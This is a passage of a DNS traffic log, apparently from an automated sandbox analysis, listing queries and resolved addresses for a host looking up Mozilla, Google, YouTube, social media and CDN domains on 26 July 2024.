Jul 26, 2024 13:49:48.311589003 CEST	192.168.2.6	1.1.1.1	0x4a20	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:48.637104034 CEST	192.168.2.6	1.1.1.1	0x8576	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.649456978 CEST	192.168.2.6	1.1.1.1	0xffa7	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:48.657918930 CEST	192.168.2.6	1.1.1.1	0x5e75	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.658212900 CEST	192.168.2.6	1.1.1.1	0x9efd	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.681669950 CEST	192.168.2.6	1.1.1.1	0xb937	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.683667898 CEST	192.168.2.6	1.1.1.1	0x4bdf	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.690932035 CEST	192.168.2.6	1.1.1.1	0xc7f	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Jul 26, 2024 13:49:48.691407919 CEST	192.168.2.6	1.1.1.1	0x8e60	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:51.401892900 CEST	192.168.2.6	1.1.1.1	0x4145	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.403121948 CEST	192.168.2.6	1.1.1.1	0x9f92	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.414222002 CEST	192.168.2.6	1.1.1.1	0xf567	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.420453072 CEST	192.168.2.6	1.1.1.1	0x978f	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.425616980 CEST	192.168.2.6	1.1.1.1	0x1104	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:51.448582888 CEST	192.168.2.6	1.1.1.1	0x5608	Standard query (0)	mitmdetection.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 13:49:56.729631901 CEST	192.168.2.6	1.1.1.1	0x7b2a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:57.041368961 CEST	192.168.2.6	1.1.1.1	0xee08	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.049719095 CEST	192.168.2.6	1.1.1.1	0x93de	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.071276903 CEST	192.168.2.6	1.1.1.1	0x93de	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.073705912 CEST	192.168.2.6	1.1.1.1	0xee08	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.511177063 CEST	192.168.2.6	1.1.1.1	0xa6e9	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.512079954 CEST	192.168.2.6	1.1.1.1	0x1c02	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.518922091 CEST	192.168.2.6	1.1.1.1	0x5d00	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:57.520286083 CEST	192.168.2.6	1.1.1.1	0x23d4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 13:49:57.533725977 CEST	192.168.2.6	1.1.1.1	0xf089	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.543586969 CEST	192.168.2.6	1.1.1.1	0x23d4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 13:50:02.162453890 CEST	192.168.2.6	1.1.1.1	0x8c25	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:14.089632034 CEST	192.168.2.6	1.1.1.1	0x8358	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:14.098562002 CEST	192.168.2.6	1.1.1.1	0xdd87	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:50:16.351687908 CEST	192.168.2.6	1.1.1.1	0x3d03	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:16.364001989 CEST	192.168.2.6	1.1.1.1	0xb387	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:16.364379883 CEST	192.168.2.6	1.1.1.1	0xb038	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:50:16.400094986 CEST	192.168.2.6	1.1.1.1	0x92f6	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 13:50:19.032690048 CEST	192.168.2.6	1.1.1.1	0xdd69	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.798872948 CEST	192.168.2.6	1.1.1.1	0x9857	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.799278021 CEST	192.168.2.6	1.1.1.1	0xd690	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.799551964 CEST	192.168.2.6	1.1.1.1	0xf72a	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.807549000 CEST	192.168.2.6	1.1.1.1	0xb22d	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.807960033 CEST	192.168.2.6	1.1.1.1	0x49fc	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.809274912 CEST	192.168.2.6	1.1.1.1	0x1493	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.816111088 CEST	192.168.2.6	1.1.1.1	0xb04d	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Jul 26, 2024 13:50:20.816541910 CEST	192.168.2.6	1.1.1.1	0x408a	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Jul 26, 2024 13:50:20.817601919 CEST	192.168.2.6	1.1.1.1	0x8941	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Jul 26, 2024 13:50:20.824853897 CEST	192.168.2.6	1.1.1.1	0x9605	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.832410097 CEST	192.168.2.6	1.1.1.1	0x9eee	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.841279030 CEST	192.168.2.6	1.1.1.1	0x963	Standard query (0)	twitter.com	28	IN (0x0001)	false
Jul 26, 2024 13:50:29.905209064 CEST	192.168.2.6	1.1.1.1	0x82bc	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:50.901690006 CEST	192.168.2.6	1.1.1.1	0x7ff8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:51:10.060354948 CEST	192.168.2.6	1.1.1.1	0x1349	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:51:31.187630892 CEST	192.168.2.6	1.1.1.1	0xc7bd	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:51:48.013927937 CEST	192.168.2.6	1.1.1.1	0x8c4c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:03.846522093 CEST	192.168.2.6	1.1.1.1	0x5a88	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:18.620150089 CEST	192.168.2.6	1.1.1.1	0x742	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 13:52:19.126593113 CEST	192.168.2.6	1.1.1.1	0xdda3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:51.855217934 CEST	192.168.2.6	1.1.1.1	0x60f2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:51.867968082 CEST	192.168.2.6	1.1.1.1	0x26a2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:54:56.883188963 CEST	192.168.2.6	1.1.1.1	0x24cd	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:54:56.921379089 CEST	192.168.2.6	1.1.1.1	0x24cd	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:54:57.004425049 CEST	192.168.2.6	1.1.1.1	0x1bc	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 13:54:57.473351955 CEST	192.168.2.6	1.1.1.1	0x5058	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:55:32.636369944 CEST	192.168.2.6	1.1.1.1	0x5fbf	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:55:32.647016048 CEST	192.168.2.6	1.1.1.1	0x40a9	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:56:20.182719946 CEST	192.168.2.6	1.1.1.1	0x5819	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 13:56:20.666344881 CEST	192.168.2.6	1.1.1.1	0xf3b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:57:11.010981083 CEST	192.168.2.6	1.1.1.1	0x52e	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 13:48:45.441484928 CEST	1.1.1.1	192.168.2.6	0xce8f	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:11.209974051 CEST	1.1.1.1	192.168.2.6	0xd521	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:13.100419998 CEST	1.1.1.1	192.168.2.6	0x8bb7	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:13.100419998 CEST	1.1.1.1	192.168.2.6	0x8bb7	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:14.457061052 CEST	1.1.1.1	192.168.2.6	0xe396	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:16.728643894 CEST	1.1.1.1	192.168.2.6	0x58ee	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:16.728643894 CEST	1.1.1.1	192.168.2.6	0x58ee	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:17.961172104 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:17.961172104 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:18.987185001 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:18.987185001 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:19.344393015 CEST	1.1.1.1	192.168.2.6	0x7707	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:19.344393015 CEST	1.1.1.1	192.168.2.6	0x7707	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:19.692567110 CEST	1.1.1.1	192.168.2.6	0x31ae	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:19.753739119 CEST	1.1.1.1	192.168.2.6	0x5501	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:19.991945028 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:19.991945028 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:20.847079992 CEST	1.1.1.1	192.168.2.6	0x1437	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:20.847079992 CEST	1.1.1.1	192.168.2.6	0x1437	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:20.873938084 CEST	1.1.1.1	192.168.2.6	0xc4be	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:20.911483049 CEST	1.1.1.1	192.168.2.6	0x16ea	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 26, 2024 13:49:21.769505024 CEST	1.1.1.1	192.168.2.6	0x2f63	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:21.771295071 CEST	1.1.1.1	192.168.2.6	0x53c1	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:21.771295071 CEST	1.1.1.1	192.168.2.6	0x53c1	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:21.776967049 CEST	1.1.1.1	192.168.2.6	0xe648	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:21.776967049 CEST	1.1.1.1	192.168.2.6	0xe648	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:22.207783937 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:22.207783937 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:26.009753942 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:26.009753942 CEST	1.1.1.1	192.168.2.6	0xb421	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:30.376017094 CEST	1.1.1.1	192.168.2.6	0x1bb6	No error (0)	play.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:33.840414047 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:33.840414047 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.319392920 CEST	1.1.1.1	192.168.2.6	0x3b89	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.356017113 CEST	1.1.1.1	192.168.2.6	0x87d3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:34.356017113 CEST	1.1.1.1	192.168.2.6	0x87d3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:34.356017113 CEST	1.1.1.1	192.168.2.6	0x87d3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:34.356017113 CEST	1.1.1.1	192.168.2.6	0x87d3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:34.839999914 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:34.839999914 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:35.852935076 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:35.852935076 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:36.423345089 CEST	1.1.1.1	192.168.2.6	0x2090	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:36.423345089 CEST	1.1.1.1	192.168.2.6	0x2090	No error (0)	www3.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:37.855693102 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:37.855693102 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:37.954353094 CEST	1.1.1.1	192.168.2.6	0xb304	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:41.873440027 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:41.873440027 CEST	1.1.1.1	192.168.2.6	0x94f4	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.300371885 CEST	1.1.1.1	192.168.2.6	0x2eac	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:48.300371885 CEST	1.1.1.1	192.168.2.6	0x2eac	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:48.300371885 CEST	1.1.1.1	192.168.2.6	0x2eac	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.310523033 CEST	1.1.1.1	192.168.2.6	0x3d12	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.318676949 CEST	1.1.1.1	192.168.2.6	0x4a20	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Jul 26, 2024 13:49:48.634429932 CEST	1.1.1.1	192.168.2.6	0xbaec	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:48.634429932 CEST	1.1.1.1	192.168.2.6	0xbaec	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.647437096 CEST	1.1.1.1	192.168.2.6	0x8576	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.665132999 CEST	1.1.1.1	192.168.2.6	0x5e75	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:48.665132999 CEST	1.1.1.1	192.168.2.6	0x5e75	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.672012091 CEST	1.1.1.1	192.168.2.6	0x9efd	No error (0)	services.addons.mozilla.org		18.65.39.85	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.672012091 CEST	1.1.1.1	192.168.2.6	0x9efd	No error (0)	services.addons.mozilla.org		18.65.39.4	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.672012091 CEST	1.1.1.1	192.168.2.6	0x9efd	No error (0)	services.addons.mozilla.org		18.65.39.112	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.672012091 CEST	1.1.1.1	192.168.2.6	0x9efd	No error (0)	services.addons.mozilla.org		18.65.39.31	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.689790010 CEST	1.1.1.1	192.168.2.6	0xb937	No error (0)	services.addons.mozilla.org		3.165.136.26	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.689790010 CEST	1.1.1.1	192.168.2.6	0xb937	No error (0)	services.addons.mozilla.org		3.165.136.99	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.689790010 CEST	1.1.1.1	192.168.2.6	0xb937	No error (0)	services.addons.mozilla.org		3.165.136.111	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.689790010 CEST	1.1.1.1	192.168.2.6	0xb937	No error (0)	services.addons.mozilla.org		3.165.136.19	A (IP address)	IN (0x0001)	false
